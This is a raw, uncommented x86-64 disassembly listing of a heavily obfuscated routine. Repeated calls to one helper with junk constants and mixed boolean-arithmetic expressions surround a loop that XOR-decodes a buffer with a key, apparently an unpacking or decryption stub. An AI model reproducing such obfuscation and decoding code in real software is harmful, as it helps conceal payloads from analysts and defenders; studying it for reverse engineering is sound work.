mov ecx, dword [rbp + 0x16c]
cmp ecx, eax
sete byte [rbp + 0x175]
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0xf8], rax
movzx eax, byte [rbp + 0x175]
cmp al, 1
jne 0x14000ccf5
mov qword [rbp + 0x120], rbx
mov rax, qword [rbp + 0x130]
add rax, 4
mov rcx, qword [rbp + 0x158]
mov qword [rcx], rax
mov rax, qword [rcx]
movzx eax, byte [rax]
mov byte [rbp + 0x187], al
movzx eax, byte [rbp + 0x187]
mov byte [rbp + 0x17f], al
movzx r14d, byte [rbp + 0x17f]
mov r15d, dword [r12]
mov eax, r15d
sub eax, r14d
mov dword [rbp + 0x154], eax
mov eax, dword [rbp + 0x154]
mov rsi, qword [rbp + 0x100]
mov dword [rsi], eax
movzx eax, byte [rbp + 0x17f]
mov byte [rbp + 0x184], al
movzx eax, byte [rbp + 0x186]
mov eax, dword [rbp + 0x164]
mov eax, dword [rbp + 0x164]
mov eax, dword [rbp + 0x164]
sub rsp, 0x20
mov ecx, 1
mov edx, 0xa7
call fcn.140006b10
add rsp, 0x20
movzx edx, byte [rbp + 0x187]
sub rsp, 0x20
mov r8d, 0x6b
mov r9d, 0xaf
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
movzx ecx, byte [rbp + 0x184]
cmp cl, al
setne byte [rbp + 0x16b]
mov eax, dword [rsi]
mov dword [rbp + 0x150], eax
mov rax, qword [rbp + 0x108]
sub rsp, 0x20
mov ecx, 2
mov edx, 0x520119
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x180]
movzx edx, byte [rbp + 0x187]
sub rsp, 0x20
mov ecx, 0xff
mov r8d, 0xe5
mov r9d, 0xa9
call fcn.140006b10
add rsp, 0x20
movzx edx, byte [rbp + 0x187]
sub rsp, 0x20
mov ecx, 0xbaa1
mov r8d, edx
call fcn.140006b10
add rsp, 0x20
movzx r8d, byte [rbp + 0x187]
sub rsp, 0x20
mov ecx, 0x6e
mov edx, 0xf
call fcn.140006b10
add rsp, 0x20
movzx edx, byte [rbp + 0x187]
sub rsp, 0x20
mov ecx, 0xff
call fcn.140006b10
mov ecx, 0xbcd5
mov edx, 0x4f
call fcn.140006b10
add rsp, 0x20
movzx edx, byte [rbp + 0x187]
sub rsp, 0x20
movabs rcx, 0xdf234d3c9b7f99f1
mov r8d, edx
call fcn.140006b10
add rsp, 0x20
movzx edx, byte [rbp + 0x187]
sub rsp, 0x20
xor ecx, ecx
mov r8d, edx
call fcn.140006b10
add rsp, 0x20
movzx edx, byte [rbp + 0x187]
sub rsp, 0x20
mov ecx, 0xffffffff
mov r9d, 0x5d
mov r8d, edx
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x16c]
mov eax, dword [rbp + 0x178]
mov eax, dword [rbp + 0x178]
mov eax, dword [rbp + 0x16c]
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.140006b10
add rsp, 0x20
movzx r8d, byte [rbp + 0x187]
sub rsp, 0x20
mov ecx, 0xfffffffd
mov edx, 0xcb
mov r9d, r8d
call fcn.140006b10
add rsp, 0x20
movzx edx, byte [rbp + 0x187]
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x178]
movzx edx, byte [rbp + 0x187]
sub rsp, 0x20
mov ecx, 2
mov r8d, 0xef
mov r9d, 0x2f
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x16c]
mov eax, dword [rbp + 0x178]
mov eax, dword [rbp + 0x16c]
sub rsp, 0x20
movabs rcx, 0xecbb95f156d0dc44
call fcn.140006b10
mov edx, 0xd8dc40
mov r8d, 0x86
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
movzx r8d, byte [rbp + 0x187]
sub rsp, 0x20
mov ecx, 4
mov edx, 0x97
mov r9d, r8d
call fcn.140006b10
add rsp, 0x20
mov ecx, dword [rbp + 0x150]
xor edi, edi
cmp ecx, eax
setg dil
movzx edx, byte [rbp + 0x187]
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.140006b10
add rsp, 0x20
mov r13, rax
xor r13d, r15d
or r13d, r14d
mov esi, r14d
or esi, r15d
movzx edx, byte [rbp + 0x187]
sub rsp, 0x20
mov ecx, 0xffffffff
mov r8d, edx
mov r9d, edx
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
xor ebx, esi
movzx edx, byte [rbp + 0x187]
sub rsp, 0x20
mov ecx, 0xfffffffd
mov r8d, 0xb1ef83
call fcn.140006b10
add rsp, 0x20
mov r12, rax
imul r12d, ebx
movzx edx, byte [rbp + 0x187]
sub rsp, 0x20
mov ecx, 0xffffffff
mov r8d, edx
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
xor ebx, r14d
movzx edx, byte [rbp + 0x187]
sub rsp, 0x20
mov ecx, 2
call fcn.140006b10
add rsp, 0x20
imul eax, ebx
sub eax, r15d
xor r14d, r15d
sub r14d, r13d
sub r14d, r12d
xor r14d, eax
cmp byte [rbp + 0x16b], 0
cmove edi, r14d
and dil, 1
mov byte [rbp + 0x174], dil
movzx eax, byte [rbp + 0x174]
cmp al, 1
jne 0x14000cd10
movzx esi, byte [rbp + 0x17f]
mov qword [rbp + 0x70], rsi
mov rax, qword [rbp + 0x70]
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0xd8]
mov qword [rbp + 0x68], rax
movzx eax, byte [rbp + 0x186]
mov rax, qword [rbp + 0xc8]
sub rsp, 0x20
mov ecx, 1
mov edx, esi
mov r8d, esi
call fcn.140006b10
movabs rdi, 0x44a653a6848e3b48
mov rcx, rdi
mov edx, esi
call fcn.140006b10
mov edx, 0xc7
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
mov rax, qword [rbp + 0xc8]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x4e
mov r8d, 0xcf
call fcn.140006b10
mov ecx, 0xffffffff
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, 0xe69cee
mov r8d, esi
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0x52
mov r8d, 0x4068d8
call fcn.140006b10
mov ecx, 2
mov edx, 0x3c9796
mov r8d, 0xcb
mov r9d, 0x2f
call fcn.140006b10
add rsp, 0x20
or rdi, 4
sub rsp, 0x20
mov rcx, rdi
mov edx, esi
call fcn.140006b10
xor ecx, ecx
call fcn.140006b10
mov ecx, 4
mov edx, 0x13
mov r9d, 0x46
mov r8d, esi
call fcn.140006b10
add rsp, 0x20
add rax, qword [rbp + 0x68]
add rax, qword [rbp + 0x130]
mov qword [rbp + 0x118], rax
mov rax, qword [rbp + 0x100]
mov edi, dword [rax]
movzx eax, byte [rbp + 0x176]
mov rax, qword [rbp + 0x108]
sub rsp, 0x20
mov ecx, 0x6f
mov edx, esi
mov r8d, esi
call fcn.140006b10
mov ecx, 0xff
mov edx, 0x369a81
mov r8d, esi
mov r9d, esi
call fcn.140006b10
mov ecx, 0x16f
call fcn.140006b10
mov ecx, 0x9a
mov edx, esi
mov r8d, esi
call fcn.140006b10
mov ecx, 0xff
mov edx, esi
call fcn.140006b10
mov ecx, 0x85f
mov edx, 0x6b
mov r8d, esi
call fcn.140006b10
movabs rcx, 0x4c3348ed684f4eb9
mov edx, 0xd566e3
mov r8d, esi
call fcn.140006b10
add rsp, 0x20
movzx eax, byte [rbp + 0x184]
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x154]
mov eax, dword [rbp + 0x154]
sub rsp, 0x20
mov ecx, 0xffffffff
mov r8d, 0xce
mov edx, esi
call fcn.140006b10
mov ecx, 0xfffffffd
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 7
mov r8d, 0xff
call fcn.140006b10
mov ecx, 2
mov r8d, 0x11
mov edx, esi
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x154]
mov eax, dword [rbp + 0x154]
sub rsp, 0x20
movabs rcx, 0xb3ccb71397b0b142
mov r8d, 0x3a
mov edx, esi
call fcn.140006b10
mov ecx, 0xfffffffb
call fcn.140006b10
add rsp, 0x20
add eax, edi
mov dword [rbp + 0x12c], eax
movzx eax, byte [rbp + 0x16b]
movzx eax, byte [rbp + 0x174]
sub rsp, 0x20
mov ecx, 0xa6
mov edx, 0x12
mov r8d, 0x77
call fcn.140006b10
mov ecx, 0xff
mov edx, 0x43
call fcn.140006b10
mov ecx, 0x224b
mov edx, esi
call fcn.140006b10
mov ecx, 0x6b
mov edx, esi
call fcn.140006b10
mov ecx, 0xff
mov edx, esi
call fcn.140006b10
mov ecx, 0xdb43
mov edx, 0x99
mov r8d, esi
call fcn.140006b10
movabs rcx, 0x88737d745a4160fb
call fcn.140006b10
mov ecx, 0xef
mov r9d, 0xb7
mov edx, esi
mov r8d, esi
call fcn.140006b10
mov ecx, 0xff
mov edx, esi
mov r8d, esi
mov r9d, esi
call fcn.140006b10
mov ecx, 0xc7bd
mov edx, esi
call fcn.140006b10
mov ecx, 0xf8
mov edx, 0x51
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x180]
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0x87
mov r8d, 0xf5
call fcn.140006b10
mov ecx, 0x148d
mov r8d, 0x31
mov edx, esi
call fcn.140006b10
movabs rcx, 0x23b75b6ad2935466
call fcn.140006b10
mov r8d, 0x42
xor ecx, ecx
mov edx, esi
call fcn.140006b10
mov ecx, 2
mov edx, 0xa2
call fcn.140006b10
add rsp, 0x20
mov ecx, dword [rbp + 0x12c]
mov rdx, qword [rbp + 0x118]
mov qword [rbp + 0xf8], rdx
cmp ecx, eax
jb 0x14000ccf5
mov rax, qword [rbp + 0x100]
mov esi, dword [rax]
mov rax, qword [rbp + 0xd0]
sub rsp, 0x20
mov ecx, 0xff
call fcn.140006b10
mov ecx, 0x5f3
call fcn.140006b10
mov ecx, 0x38
mov edx, 0x82e4d9
mov r8d, esi
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x180]
sub rsp, 0x20
mov ecx, 0xff
mov edx, esi
mov r8d, esi
call fcn.140006b10
mov ecx, 0x66f5
mov edx, 0x55
mov r8d, 7
mov r9d, esi
call fcn.140006b10
movabs rcx, 0x12e2a70bd5dd1291
mov edx, 0xa6
call fcn.140006b10
xor r14d, r14d
mov edx, 0xcc
xor ecx, ecx
mov r8d, esi
call fcn.140006b10
add rsp, 0x20
movzx eax, byte [rbp + 0x177]
movzx eax, byte [rbp + 0x184]
sub rsp, 0x20
mov ecx, 0xb4
mov edx, 0x14
mov r8d, esi
call fcn.140006b10
mov ecx, 0xff
mov edx, 0x86
call fcn.140006b10
mov ecx, 0x864d
mov edx, 0xacd9a8
mov r9d, 0x37
mov r8d, esi
call fcn.140006b10
mov ecx, 0xe6
mov edx, 0xca2526
call fcn.140006b10
mov ecx, 0xff
mov edx, esi
mov r8d, esi
call fcn.140006b10
mov ecx, 0x7ebb
call fcn.140006b10
movabs rcx, 0x6f5744c0315c463c
mov edx, 0xab7c56
call fcn.140006b10
mov r8d, 0x9452b3
xor ecx, ecx
mov edx, esi
call fcn.140006b10
mov ecx, 0xfffffffc
mov edx, esi
mov r8d, esi
call fcn.140006b10
add rsp, 0x20
mov r12, rax
add r12d, esi
mov qword [rbp + 0x88], r12
movzx eax, byte [rbp + 0x17f]
mov byte [rbp + 0x173], al
movzx eax, byte [rbp + 0x177]
sub rsp, 0x20
mov ecx, 0x86
call fcn.140006b10
mov ecx, 0xff
mov edx, esi
mov r8d, esi
mov r9d, esi
call fcn.140006b10
mov ecx, 0x595
mov edx, 0x31
call fcn.140006b10
mov ecx, 0xd7
mov edx, 0x37
call fcn.140006b10
mov ecx, 0xff
mov edx, 0x3f
mov r8d, 0x29
call fcn.140006b10
mov ecx, 0xadf5
mov edx, 0xfd
mov r8d, 0x3f
mov r9d, esi
call fcn.140006b10
movabs rcx, 0xd9cbcaad0cc37617
mov edx, esi
call fcn.140006b10
xor ecx, ecx
mov edx, esi
mov r8d, esi
call fcn.140006b10
add rsp, 0x20
mov rax, qword [rbp + 0xd0]
sub rsp, 0x20
mov ecx, 0xf
mov edx, 0xd3
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x12c]
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0x55
call fcn.140006b10
mov ecx, 0xc551
mov edx, 0x358033
mov r8d, esi
call fcn.140006b10
mov ecx, 0xb5
mov edx, 0xc0a3b1
call fcn.140006b10
mov ecx, 0xff
mov edx, esi
mov r8d, esi
call fcn.140006b10
mov ecx, 0xf227
mov edx, 0x55
call fcn.140006b10
movabs rcx, 0xd7090182a80321a7
mov edx, esi
call fcn.140006b10
mov edx, 0xde
xor ecx, ecx
call fcn.140006b10
mov ecx, 1
mov r8d, 0xdb
mov r9d, 0xd164fa
mov edx, esi
call fcn.140006b10
add rsp, 0x20
cmp al, byte [rbp + 0x173]
mov rax, qword [rbp + 0x68]
adc r14, 1
sub rsp, 0x20
mov ecx, 1
mov edx, esi
call fcn.140006b10
movabs rcx, 0x5a181a90f8b9ca03
mov edx, esi
mov r8d, esi
mov r9d, esi
call fcn.140006b10
xor ecx, ecx
mov edx, esi
call fcn.140006b10
add rsp, 0x20
mov rax, qword [rbp + 0x70]
movzx eax, byte [rbp + 0x184]
sub rsp, 0x20
mov ecx, 0xffffffff
mov r8d, 0x61
mov r9d, 0xd3
mov edx, esi
call fcn.140006b10
mov ecx, 0xffffffff
mov r8d, 0x7a5036
mov r9d, 0xa1
mov edx, esi
call fcn.140006b10
mov ecx, 0xfffffffd
call fcn.140006b10
mov ecx, 0xffffffff
mov r8d, 0xfb
mov edx, esi
call fcn.140006b10
mov ecx, 2
mov edx, esi
call fcn.140006b10
movabs rcx, 0xa5e7e56f074635ff
mov edx, esi
call fcn.140006b10
mov edx, 0xc2
xor ecx, ecx
mov r8d, esi
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, esi
call fcn.140006b10
mov ecx, 0xffffffff
call fcn.140006b10
mov ecx, 0xfffffffd
mov r8d, 0x82
mov edx, esi
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0x82
call fcn.140006b10
mov ecx, 2
mov edx, 0x14
mov r8d, 0x64
call fcn.140006b10
movabs rcx, 0x46a9e7fa6512488b
mov edx, 0x3d
call fcn.140006b10
add rsp, 0x20
movzx ebx, byte [rbp + 0x175]
mov edi, dword [rbp + 0x180]
add edi, ebx
mov eax, dword [rbp + 0x180]
xor eax, ebx
sub edi, eax
and ebx, dword [rbp + 0x180]
sub rsp, 0x20
mov ecx, 1
mov edx, 0x92
mov r8d, esi
call fcn.140006b10
add rsp, 0x20
mov ecx, eax
shl ebx, cl
xor ebx, edi
sub rsp, 0x20
movabs rcx, 0xb95618059aedb776
mov edx, esi
mov r8d, esi
call fcn.140006b10
mov r8d, 0xab
xor ecx, ecx
mov edx, esi
call fcn.140006b10
add rsp, 0x20
mov qword [rbp + 0x80], r14
mov r14, qword [rbp + 0x88]
movzx eax, byte [rbp + 0x185]
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x178]
mov eax, dword [rbp + 0x178]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, esi
mov r8d, esi
mov r9d, esi
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, esi
call fcn.140006b10
mov ecx, 2
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x178]
mov eax, dword [rbp + 0x178]
movabs rdi, 0x1a79970bd3a4792a
lea rcx, [rdi + 1]
sub rsp, 0x20
mov edx, esi
mov r8d, esi
call fcn.140006b10
xor ecx, ecx
mov edx, esi
call fcn.140006b10
add rsp, 0x20
movzx eax, byte [rbp + 0x184]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, esi
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0xde
mov r9d, 0xb4
mov r8d, esi
call fcn.140006b10
mov ecx, 0xfffffffd
mov r8d, 0x66
mov edx, esi
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, esi
mov r8d, esi
call fcn.140006b10
mov ecx, 2
mov edx, 0xcd
call fcn.140006b10
mov r8d, 0x52
mov rcx, rdi
mov edx, esi
call fcn.140006b10
mov r8d, 0xe6
xor ecx, ecx
mov edx, esi
call fcn.140006b10
mov ecx, 1
mov edx, esi
call fcn.140006b10
add rsp, 0x20
and rax, r14
mov qword [rbp + 0x50], rax
movzx eax, byte [rbp + 0x173]
lea edi, [rbx + rax]
mov ecx, ebx
xor ecx, eax
sub edi, ecx
and ebx, eax
sub rsp, 0x20
mov ecx, 1
call fcn.140006b10
add rsp, 0x20
mov ecx, eax
shl ebx, cl
xor ebx, edi
add ebx, 0x915e097f
movzx eax, byte [rbp + 0x174]
sub rsp, 0x20
mov ecx, 0x6c
mov edx, 6
mov r9d, 0x61
mov r8d, esi
call fcn.140006b10
mov ecx, 0xff
mov edx, esi
call fcn.140006b10
mov ecx, 0x73
mov edx, esi
mov r8d, esi
call fcn.140006b10
mov ecx, 0xff
mov edx, 0xbd
call fcn.140006b10
mov ecx, 0x4be5
mov edx, esi
mov r8d, esi
call fcn.140006b10
movabs rcx, 0x19f610e5a0b7237d
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
mov r15, rax
add r15d, edi
imul r15d, ebx
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xa0], rax
sub rsp, 0x20
mov ecx, 0xf8
mov edx, esi
mov r8d, esi
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x12c]
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0xba
call fcn.140006b10
mov ecx, 0x23d5
call fcn.140006b10
mov ecx, 0x7e
mov edx, 0x86
mov r9d, 0xe3
mov r8d, esi
call fcn.140006b10
mov ecx, 0xff
mov edx, esi
call fcn.140006b10
mov ecx, 0x1b37
mov edx, 7
call fcn.140006b10
movabs rcx, 0x62e60d4d20c83489
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov r8d, 0x99
xor ecx, ecx
mov edx, esi
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
xor rdi, rbx
movzx eax, byte [rbp + 0x175]
sub rsp, 0x20
mov ecx, 0x57
mov edx, 0x16
mov r9d, 0x88a8b1
mov r8d, esi
call fcn.140006b10
mov ecx, 0xff
mov edx, 0xd7
mov r9d, 0x81
mov r8d, esi
call fcn.140006b10
mov ecx, 0x3af3
mov edx, 0x7d
call fcn.140006b10
mov ecx, 0xff
mov edx, esi
mov r8d, esi
call fcn.140006b10
mov ecx, 0xc145
mov r8d, 0xb6
mov edx, esi
call fcn.140006b10
movabs rcx, 0x9d19f2b2df37cb79
mov r8d, 0xd7
mov edx, esi
mov r9d, esi
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov r8d, 0xa6
xor ecx, ecx
mov edx, esi
call fcn.140006b10
add rsp, 0x20
xor rax, rbx
add rax, rdi
mov qword [rbp + 0xa8], rax
cmp r12d, r15d
je 0x14000cb15
mov r13, qword [rbp + 0x88]
movzx eax, byte [rbp + 0x187]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x37
mov r8d, 0x2f
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x150]
mov eax, dword [rbp + 0x150]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xaf
call fcn.140006b10
mov ecx, 0xfffffffd
mov rdx, r13
call fcn.140006b10
mov ecx, 0xffffffff
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x150]
sub rsp, 0x20
mov ecx, 2
mov edx, 0x5da10d
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x150]
sub rsp, 0x20
movabs rcx, 0x15e02830f8b55ade
mov r9d, 0x86
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov edx, 0xb4
mov r8d, 0x3e
xor ecx, ecx
mov r9, r13
call fcn.140006b10
add rsp, 0x20
mov r15, rax
xor r15, rsi
mov rsi, qword [rbp + 0xd0]
sub rsp, 0x20
mov ecx, 0xffffffff
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov r14, rax
xor r14d, esi
or r14d, dword [rbp + 0x180]
mov ebx, dword [rbp + 0x180]
or ebx, esi
sub rsp, 0x20
mov ecx, 0xffffffff
mov r8d, 0xce
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
xor edi, ebx
sub rsp, 0x20
mov ecx, 0xfffffffd
mov edx, 0xe43c1b
call fcn.140006b10
add rsp, 0x20
mov r12, rax
imul r12d, edi
sub rsp, 0x20
mov ecx, 0xffffffff
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
xor edi, dword [rbp + 0x180]
sub rsp, 0x20
mov ecx, 2
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
imul eax, edi
sub eax, esi
xor esi, dword [rbp + 0x180]
sub esi, r14d
mov r14, qword [rbp + 0x120]
sub esi, r12d
xor esi, eax
sub rsp, 0x20
movabs rcx, 0xea1fd7cf074aa520
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
add rdi, rsi
xor rdi, r15
add rdi, r13
mov rax, qword [rbp + 0x110]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x260479
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0x8b
mov r8, r13
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, 0x73
mov r8, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0xb215ce
call fcn.140006b10
mov ecx, 2
mov r8d, 0x19
mov rdx, r13
call fcn.140006b10
movabs rcx, 0x554a2fbab215781b
mov edx, 0x63
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0x8c
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x180]
mov eax, dword [rbp + 0x180]
sub rsp, 0x20
mov ecx, 0xfffffffd
mov rdx, r13
mov r8, r13
mov r9, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov r9d, 0x43
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 2
mov edx, 0xcf
mov r8, r13
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x180]
mov eax, dword [rbp + 0x180]
sub rsp, 0x20
movabs rcx, 0xaab5d0454dea87e3
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov edx, 1
mov r8d, 0xe5
mov rcx, 0xfffffffffffffffe
call fcn.140006b10
add rsp, 0x20
and rax, rdi
mov rcx, qword [rbp + 0xe8]
mov qword [rcx], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x90], rax
movzx eax, byte [rbp + 0x176]
mov rax, qword [rbp + 0x78]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xf4
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0x851bd1
call fcn.140006b10
mov ecx, 0xfffffffd
mov rdx, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0x9a
mov r8d, 0x19
call fcn.140006b10
mov ecx, 2
mov rdx, r13
call fcn.140006b10
movabs rsi, 0x18bada7c2a170335
mov r8d, 0xed
mov rcx, rsi
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
movzx eax, byte [rbp + 0x185]
movzx eax, byte [rbp + 0x173]
sub rsp, 0x20
mov ecx, 0x45
mov rdx, r13
call fcn.140006b10
mov ecx, 0xff
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 0xbc23
mov edx, 0x61
call fcn.140006b10
mov ecx, 0x77
mov rdx, r13
call fcn.140006b10
mov ecx, 0xff
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 0xbadd
mov edx, 0x3e
mov r9d, 0x16
mov r8, r13
call fcn.140006b10
add rsp, 0x20
or rsi, 2
sub rsp, 0x20
mov rcx, rsi
mov rsi, qword [rbp + 0x158]
mov rdx, r13
call fcn.140006b10
mov edx, 0x72
mov r8d, 0x53
xor ecx, ecx
call fcn.140006b10
mov ecx, 2
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
mov qword [r14], rax
movzx eax, byte [rbp + 0x185]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xd4
mov r9d, 0x66
mov r8, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0x5e
call fcn.140006b10
mov ecx, 0xfffffffd
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov r8d, 0xee
mov rdx, r13
call fcn.140006b10
mov ecx, 2
mov edx, 0xdf
mov r9d, 0x7a
mov r8, r13
call fcn.140006b10
xor ecx, ecx
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov qword [rbp + 0x98], rax
nop word [rax + rax]
mov r15, qword [rbp + 0x98]
mov rdi, qword [r14]
mov r13, qword [rbp + 0x90]
mov rbx, qword [rbp + 0xd8]
mov qword [rbp + 0x148], rbx
sub rsp, 0x20
mov ecx, 1
mov edx, 0xa4
call fcn.140006b10
add rsp, 0x20
cmp r13, rbx
mov eax, 0
cmovae r13, rax
mov rax, qword [rbp + 0x118]
mov rcx, qword [rsi]
movzx r12d, byte [rcx + r13]
mov qword [rbp + 0x138], rdi
movzx ecx, byte [rax + rdi]
xor cl, r12b
mov byte [rax + rdi], cl
movzx r14d, cl
sub rsp, 0x20
mov ecx, 0xffffffff
mov r8d, 0x32
mov rdx, r15
mov r9, r15
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
xor edi, r12d
or edi, r14d
mov ebx, r14d
or ebx, r12d
sub rsp, 0x20
mov ecx, 0xffffffff
mov rdx, r15
mov r8, r15
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
xor esi, ebx
sub rsp, 0x20
mov ecx, 0xfffffffd
mov rdx, r15
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
imul ebx, esi
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x39
mov r9d, 0x5d
mov r8, r15
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
xor esi, r14d
sub rsp, 0x20
mov ecx, 2
mov rdx, r15
call fcn.140006b10
add rsp, 0x20
imul eax, esi
sub eax, r12d
xor r14d, r12d
sub r14d, edi
sub r14d, ebx
xor r14d, eax
sub rsp, 0x20
mov r8d, 0x24
movabs rcx, 0x22a753f6ae4f6ee7
mov rdx, r15
call fcn.140006b10
mov ecx, 0xa5
call fcn.140006b10
mov ecx, 0xff
mov edx, 0xec
call fcn.140006b10
mov ecx, 0x35f
mov rdx, r15
mov r8, r15
call fcn.140006b10
mov ecx, 0x68
mov rdx, r15
call fcn.140006b10
mov ecx, 0xff
mov edx, 0x6b
mov r9d, 0x29
mov r8, r15
call fcn.140006b10
mov ecx, 0x4639
mov r8d, 0x47
mov rdx, r15
call fcn.140006b10
movabs rcx, 0x157802a53b77c4d7
mov rdx, r15
mov r8, r15
mov r9, r15
call fcn.140006b10
xor ecx, ecx
mov rdx, r15
mov r8, r15
call fcn.140006b10
mov ecx, 1
mov r8d, 0x56
mov rdx, r15
call fcn.140006b10
add rsp, 0x20
add rax, r13
mov qword [rbp + 0xe0], rax
sub rsp, 0x20
mov ecx, 1
mov edx, 0x2b
mov r8, r15
call fcn.140006b10
movabs rsi, 0x43fc241830a8baae
mov rcx, rsi
mov rdx, r15
mov r8, r15
call fcn.140006b10
mov ecx, 0xc6
mov rdx, r15
call fcn.140006b10
mov ecx, 0xff
mov edx, 0x97103e
call fcn.140006b10
mov ecx, 0x7fcf
mov edx, 0xa6
mov r8d, 0xdbcb3c
call fcn.140006b10
mov ecx, 0x28
mov edx, 0x61ef05
call fcn.140006b10
mov ecx, 0xff
call fcn.140006b10
mov ecx, 0xece7
mov rdx, r15
call fcn.140006b10
add rsp, 0x20
lea rcx, [rsi + 1]
sub rsp, 0x20
mov rdx, r15
call fcn.140006b10
mov ecx, 1
call fcn.140006b10
add rsp, 0x20
mov r13, rax
mov rax, qword [rbp + 0xd8]
mov qword [rbp + 0xb8], rax
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xee
mov r8, r15
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
xor ebx, r14d
mov r12, qword [rbp + 0x148]
or ebx, r12d
mov edi, r12d
or edi, r14d
sub rsp, 0x20
mov ecx, 0xffffffff
mov rdx, r15
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
xor esi, edi
sub rsp, 0x20
mov ecx, 0xfffffffd
mov rdx, r15
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
imul edi, esi
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
xor esi, r12d
sub rsp, 0x20
mov ecx, 2
call fcn.140006b10
add rsp, 0x20
imul eax, esi
sub eax, r14d
xor r14d, r12d
sub r14d, ebx
sub r14d, edi
xor r14d, eax
mov rdi, qword [rbp + 0xe0]
cmp rdi, qword [rbp + 0xb8]
cmovb r14, rdi
or r13, qword [rbp + 0x138]
mov rax, qword [rbp + 0x118]
movzx ebx, byte [rax + r13]
mov rcx, qword [rbp + 0x158]
mov rcx, qword [rcx]
xor bl, byte [rcx + r14]
mov byte [rax + r13], bl
sub rsp, 0x20
mov ecx, 0xbf
mov rdx, r15
call fcn.140006b10
mov ecx, 0xff
mov rdx, r15
mov r8, r15
call fcn.140006b10
mov ecx, 0xe6b7
mov edx, 0xd9
mov r8d, 0x4b
call fcn.140006b10
mov ecx, 0xa8
mov r8d, 0xb5
